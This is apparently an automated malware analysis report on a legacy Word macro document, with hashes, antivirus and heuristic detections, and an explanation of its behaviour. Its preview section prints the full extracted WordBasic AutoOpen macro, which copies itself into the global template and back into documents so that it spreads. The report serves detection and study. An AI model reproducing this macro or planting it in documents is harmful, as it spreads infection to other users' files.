Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e31e8ede65c01283…

MALICIOUS

Office (OLE)

26.0 KB Created: 1998-04-18 21:36:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c3176604597b5cbcad7e6c29c843d441 SHA-1: 8a65a73d330911f8a8b202e08b740cb7d803f1cb SHA-256: e31e8ede65c01283bf4af128586d31f9d7cfc2658c82c93483471bdc80cb398e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Microsoft Word document containing a WordBasic AutoOpen macro. This macro is designed to copy itself to the global template and then save the document in a macro-enabled format. This behavior is indicative of a macro-based malware designed for propagation, potentially to infect other documents on the system.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-68 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-68
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 551 bytes
SHA-256: b9fc16943257a991e755e59215fee477067e20f378ef8e868194104d4b7bc6c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
On Error Resume Next

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
WordBasic.FileSaveAs Format:=1

End Sub

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